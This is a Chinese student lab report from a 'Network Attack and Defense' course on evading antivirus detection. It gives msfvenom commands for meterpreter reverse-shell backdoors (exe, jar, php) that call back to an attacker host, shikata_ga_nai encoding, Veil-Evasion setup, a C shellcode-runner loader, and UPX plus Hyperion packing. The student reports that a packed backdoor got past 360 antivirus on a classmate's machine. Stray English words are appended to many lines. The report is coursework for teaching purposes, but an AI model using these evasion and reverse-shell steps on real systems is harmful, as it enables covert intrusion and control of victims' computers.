2018-2019 2 20165203 《網絡對抗技術》 Exp3 免殺原理與實踐

2018-2019 2 20165203 《網絡對抗技術》 Exp3 免殺原理與實踐

免殺原理與實踐說明及基礎問答部分

實驗任務

  • 正確使用msf編碼器(0.5分),msfvenom生成如jar之類的其餘文件(0.5分),veil-evasion(0.5分),加殼工具(0.5分),使用shellcode編程(1分)php

  • 經過組合應用各類技術實現惡意代碼免殺(0.5分)(若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)html

  • 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(加分0.5)java

免殺原理基礎知識問答

1、免殺原理python

免殺shell

  • 通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。也是滲透測試中須要使用到的技術。編程

  • 要作好免殺,就時清楚殺毒軟件(惡意軟件檢測工具)是如何工做的。AV(Anti-virus)是很大一個產業。其中主要的技術人員基本有編制惡意軟件的經驗。windows

  • 反過來也同樣,瞭解了免殺的工具和技術,你也就具備了反制它的基礎。數組

2、基礎知識問答網絡

  1. 殺軟是如何檢測出惡意代碼的?
  • 基於特徵碼的檢測:簡單來講,一段特徵碼就是一段或多段數據,惡意代碼常常出現的而其餘正常程序所沒有的。若是殺軟檢測到一個文件對比其餘文件有特徵碼,則能夠認定該文件包含惡意代碼。
  • 啓發式惡意軟件檢測:簡單來講,就是根據一些片面特徵去判斷。一般是,若是一個軟件作了一般是惡意軟件乾的事兒,那就說明這個軟件是惡意軟件。
  • 基於行爲的惡意軟件檢測:簡單來講,它是針對特徵掃描而言的。殺軟會監視軟件的行爲,發現特殊行爲,就認爲它是惡意軟件。
  1. 免殺是作什麼?
  • 就是對惡意軟件或代碼作一些處理,使之不被殺毒軟件所查殺。
  1. 免殺的基本方法有哪些?

通常來講,免殺的方法是針對技術的。tcp

  • 改變特徵碼
    • 有EXE:加殼(壓縮殼、加密殼)
    • 有shellcode:用encode進行編碼或基於payload從新編譯生成可執行文件
    • 有源代碼:用其餘語言進行重寫再編譯(veil-evasion)
  • 改變行爲
    • 通信方式
      • 儘可能使用反彈式鏈接
      • 使用隧道技術
      • 加密通信數據
    • 操做模式
      • 基於內存操做
      • 減小對系統的修改
      • 加入混淆做用的正常功能代碼
  1. 開啓殺軟能絕對防止電腦中惡意代碼嗎?
  • 固然不能了,就惡意軟件來講,通常AV的檢出率也要達到40%-98%,最好的AV仍然會有2%的病毒逃脫檢測,不過,大部分仍是能夠檢測出來。

實驗準備及環境

  • Kali虛擬機(IP:192.168.154.155)
  • Windows7 (IP:192.168.154.139)
  • 電腦管家
  • 免殺掃描引擎
    VirusTotal
    Virscan(我用的這個)
  • 集成了60多個商業殺毒軟件的掃描引擎。能夠上傳免殺處理過的程序進行檢測。若是上傳的程序全部軟件都殺不出來,virustotal就會把它交給AV廠商們了,而後在殺毒庫更新前,你還可使用一段時間。Virustatol不包括各AV軟件的行爲分析部分(behavioral analysis)。但它本身開發了本身的行爲分析引擎。太慢,還沒試用。

實驗內容及步驟

任務一 使用msfvenom生成各類文件,veil-evasion,加殼工具,使用shellcode編程

1.使用msf編碼器生成後門程序及檢測

  • 《Exp2:後門原理與實踐》中,咱們生成了20165203_backdoor.exe後門文件,將它放在virscan.org中進行掃描
  • 可是出現瞭如圖這樣的界面:

無奈,又將名字改成了xyx_backdoor.exe.
結果如圖所示

能夠看出,不加任何免殺操做的病毒很容易被檢測出來。那麼咱們編碼一下呢?

  • 經過使用編碼一次的命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203_encoded.exe

  • 被電腦管家查住了。

  • 而後,咱們繼續用virscan.org掃描一下,看一下結果如何呢?

能夠看出,通過編碼後的後門程序檢出率下降了。那麼咱們屢次編碼結果會是什麼樣呢?

  • 使用編碼十次的命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203encoded10.exe

  • 不幸的是,又被查住了。

  • 繼續掃描結果以下

能夠看出,通過10次編碼,後門程序的檢出率更低了。

2. msfvenom生成jar等文件

  • 咱們能夠利用msfvenom生成java後門程序,輸入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 x> 20165203_backdoor_java.jar

  • 咱們能夠對20165203_backdoor_java.jar進行掃描,又出現了名字不合法的問題,將名字改成了xyx_backdoor.jar.

  • 掃描結果以下:

  • 能夠看出,仍是檢出率仍是很高。

3. msfvenom生成php等文件

  • 咱們一樣能夠一用msfvenom生成php後門程序,輸入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5226 x> 20165226_backdoor.php

  • 咱們一樣能夠對20165203_backdoor.php進行掃描。

等等,難道是.php文件開掛了?這是什麼神奇操做???,不過終究仍是掃描出來了。。

4. 使用veil-evasion生成後門程序及檢測

  • 咱們能夠安裝veil,利用sudo apt-install veil-evasion,而後繼續按y繼續執行就能夠,可是過程須要耐心等待。不幸的是,在我等到夜裏2點快要安裝好的時候,提示我要安裝python.exe什麼鬼,這個程序沒有安裝成功,致使後來的安裝過程不太順利,最後的veil也不太可用。只用無奈拷了同窗的kali

  • 安裝成功後,咱們能夠輸入veil啓用veil。

  • 接着輸入use veil命令進入Evil-Evasion

  • 接着輸入命令use c/meterpreter/rev_tcp.py進入配置界面。

  • 接下來,設置反彈要鏈接的Kali IP,輸入命令set LHOST 192.168.154.151

  • 接下來,就要設置端口,我用的個人學號,輸入命令set LPORT 5203

  • 接着,咱們須要輸入generate生成文件,並給咱們的payload取個名字,輸入veil_c_5203

  • 咱們能夠看到咱們生成的後門程序的保存路徑爲/var/lib/veil/output/compiled/veil_c_5203.exe
  • 傳一下試試,不幸的是,仍然被查了出來,掃描一下唄。

5. 使用shellcode編程半手工生成可執行文件而且進行免殺檢測

下面,咱們嘗試用半手工來注入shellcode來執行一下吧。

  • 首先,使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 -f c來用C語言生成一段shellcode吧,生成的sellcode原來長這模樣兒。

  • 接下來咱們就要手工編寫了。

  • 建立一個文件20165203.c,將咱們生成的shellcode(存在字符串數組unsigned char buf[]中)。

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
···
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 咱們須要使用命令,i686-w64-mingw32-g++ 20165203_shellcode.c -o 20165203_shellcode.exe來編譯.c文件。

  • 查殺一下唄

不幸的是仍是被查殺出來了。

  • 用virscan.org檢測一下。

那麼咱們是否可以經過一些免殺的行爲來使咱們的程序免殺呢?接下來,就試一下加殼

6. 使用加殼工具生成可執行文件而且進行免殺檢測

最後,咱們試試加殼吧,在使用加殼以前,咱們首先要了解幾個問題。

  • 什麼是加殼呢?
    • 加殼的全稱爲可執行程序資源壓縮,壓縮後的程序能夠直接運行。
    • 加殼的另外一種經常使用的方式是在二進制程序中植入一段代碼,在運行的時候優先取得程序的控制權,以後再把控制權交還給原始代碼,這樣作的目的是爲了隱藏真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。
    • 加殼的程序須要阻止外部程序或軟件對加殼程序自己的反彙編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。這種技術也經常使用來保護軟件版權,防止軟件被破解。但對於病毒來講,加殼能夠繞過一些殺毒軟件的掃描,從而實現它做爲病毒的一些入侵或破壞的一些特徵。
    • MSF的編碼器常用相似方法,對shellcode進行再編碼。
  • 從技術上分殼分爲:
    • 壓縮殼:減小應用體積,如ASPack,UPX
    • 加密殼:版權保護,反跟蹤。如ASProtect,Armadillo
    • 虛擬機:經過相似編譯手段,將應用指令轉換爲本身設計黨的指令集。如VMProtect,Themida

明白了這些,咱們來試試吧

  • 咱們先來使用壓縮殼(UPX)

    • 把上個實驗Task生成的20165203_backdoor.exe加殼獲得xyx_upxed.exe,利用命令upx 20165203_backdoor.exe -o xyx_upxed

    • 掃描一下唄

    • 咱們能夠看出,掃出率下降了。
  • 使用加密殼Hyperion

將上一個生成的文件拷貝到/usr/share/windows-binaries/hyperion/目錄中

    • 進入目錄/usr/share/windows-binaries/hyperion/
    • 輸入命令wine hyperion.exe -v xyx_upxed.exe xyx_upxed_Hyperion.exe進行加密殼:

    • 檢測一下。

what?怎麼仍是這麼多

    • 並且,電腦管家也發現了,只能將它放在信任區了。

    • 回連一下,居然成功了。

任務二 經過組合應用各類技術實現惡意代碼免殺

  • 我經過半手工製做了shellcode,壓縮殼,又加密殼,攻擊本身的windows7虛擬機,達到了免殺的目的。
  • 回連成功的截圖,後面還有全盤查殺的截圖,確認已免殺。

任務三:用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

哈哈,終於到了實戰的時候了。

  • 我用msf生成了shellcode,而後壓縮殼,加密殼,把它傳入靶機。
  • 攻擊者:本人Kali(IP:192.168.154.151)
  • 靶機:同窗的主機Windows7系統(IP)360殺毒軟件
  • 任務截圖
    • 植入程序成功。

    • 經過掃描。

    • 回連成功

離實戰還缺些什麼技術或步驟?

咱們如今只是利用一些方法生成後門程序,並使後門程序免於殺毒軟件的檢測,也就是免殺,可是如何將咱們生成的後門程序注入到靶機裏,又如何誘導靶機的用戶來運行後門程序,這都是咱們從此要思考解決的問題。

另外,隨着病毒庫的不斷更新,咱們還須要探索出新的方法來免殺,這也充分說明IT人士是要不斷學習和進步的。

實驗中遇到的問題及解決方法

問題:一開始輸入編碼10次的命令時,出現瞭如圖所示狀況,編碼失敗。

解決:其實,很迷,檢查了一下個人命令也沒有輸錯,後來發現,我利用以前編碼一次的程序實現了一下回連(固然windows7的電腦管家關着),是否是正在回連的緣故,我關閉了msf,從新編碼,就成功了。

實驗感想

此次實現真的好有意思,本身利用msfvenom生成後門程序,而後想辦法讓後門程序不被查殺,有點兒黑客的感受了,哈哈。

經過此次的免殺實驗,我瞭解了免殺的概念、基本方法等,還能利用virtotal、virscan等工具來進行掃描,隨着實驗的增多,咱們不能僅僅侷限於能夠跟着實驗的步驟走,要明白每次實驗步驟的含義和目的,才能爲從此獨立實戰打下基礎。

相關文章
相關標籤/搜索